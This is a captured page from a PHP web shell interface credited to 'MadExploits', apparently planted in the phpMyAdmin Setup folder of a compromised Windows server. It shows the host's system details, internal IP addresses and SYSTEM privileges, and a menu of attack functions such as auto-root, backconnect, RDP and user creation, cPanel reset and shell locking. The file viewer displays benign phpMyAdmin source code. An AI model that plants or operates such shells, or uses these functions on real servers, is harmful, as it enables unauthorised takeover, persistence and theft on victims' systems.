Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
Setup /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
ConfigGenerator.php
5.29
KB
-rw-rw-rw-
FormProcessing.php
2.16
KB
-rw-rw-rw-
Index.php
5.71
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Index.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Various checks and message functions used on index page. * * @package PhpMyAdmin-Setup */ declare(strict_types=1); namespace PhpMyAdmin\Setup; use PhpMyAdmin\Sanitize; use PhpMyAdmin\VersionInformation; /** * PhpMyAdmin\Setup\Index class * * Various checks and message functions used on index page. * * @package PhpMyAdmin-Setup */ class Index { /** * Initializes message list * * @return void */ public static function messagesBegin() { if (! isset($_SESSION['messages']) || ! is_array($_SESSION['messages'])) { $_SESSION['messages'] = [ 'error' => [], 'notice' => [], ]; } else { // reset message states foreach ($_SESSION['messages'] as &$messages) { foreach ($messages as &$msg) { $msg['fresh'] = false; $msg['active'] = false; } } } } /** * Adds a new message to message list * * @param string $type one of: notice, error * @param string $msgId unique message identifier * @param string $title language string id (in $str array) * @param string $message message text * * @return void */ public static function messagesSet($type, $msgId, $title, $message) { $fresh = ! isset($_SESSION['messages'][$type][$msgId]); $_SESSION['messages'][$type][$msgId] = [ 'fresh' => $fresh, 'active' => true, 'title' => $title, 'message' => $message, ]; } /** * Cleans up message list * * @return void */ public static function messagesEnd() { foreach ($_SESSION['messages'] as &$messages) { $remove_ids = []; foreach ($messages as $id => &$msg) { if ($msg['active'] == false) { $remove_ids[] = $id; } } foreach ($remove_ids as $id) { unset($messages[$id]); } } } /** * Prints message list, must be called after self::messagesEnd() * * @return array */ public static function messagesShowHtml() { $return = []; foreach ($_SESSION['messages'] as $type => $messages) { foreach ($messages as $id => $msg) { $return[] = [ 'id' => $id, 'title' => $msg['title'], 'type' => $type, 'message' => $msg['message'], 'is_hidden' => ! $msg['fresh'] && $type !== 'error', ]; } } return $return; } /** * Checks for newest phpMyAdmin version and sets result as a new notice * * @return void */ public static function versionCheck() { // version check messages should always be visible so let's make // a unique message id each time we run it $message_id = uniqid('version_check'); // Fetch data $versionInformation = new VersionInformation(); $version_data = $versionInformation->getLatestVersion(); if (empty($version_data)) { self::messagesSet( 'error', $message_id, __('Version check'), __( 'Reading of version failed. ' . 'Maybe you\'re offline or the upgrade server does not respond.' ) ); return; } $releases = $version_data->releases; $latestCompatible = $versionInformation->getLatestCompatibleVersion($releases); if ($latestCompatible != null) { $version = $latestCompatible['version']; $date = $latestCompatible['date']; } else { return; } $version_upstream = $versionInformation->versionToInt($version); if ($version_upstream === false) { self::messagesSet( 'error', $message_id, __('Version check'), __('Got invalid version string from server') ); return; } $version_local = $versionInformation->versionToInt( $GLOBALS['PMA_Config']->get('PMA_VERSION') ); if ($version_local === false) { self::messagesSet( 'error', $message_id, __('Version check'), __('Unparsable version string') ); return; } if ($version_upstream > $version_local) { $version = htmlspecialchars($version); $date = htmlspecialchars($date); self::messagesSet( 'notice', $message_id, __('Version check'), sprintf(__('A newer version of phpMyAdmin is available and you should consider upgrading. The newest version is %s, released on %s.'), $version, $date) ); } else { if ($version_local % 100 == 0) { self::messagesSet( 'notice', $message_id, __('Version check'), Sanitize::sanitizeMessage(sprintf(__('You are using Git version, run [kbd]git pull[/kbd] :-)[br]The latest stable version is %s, released on %s.'), $version, $date)) ); } else { self::messagesSet( 'notice', $message_id, __('Version check'), __('No newer stable version is available') ); } } } }
Close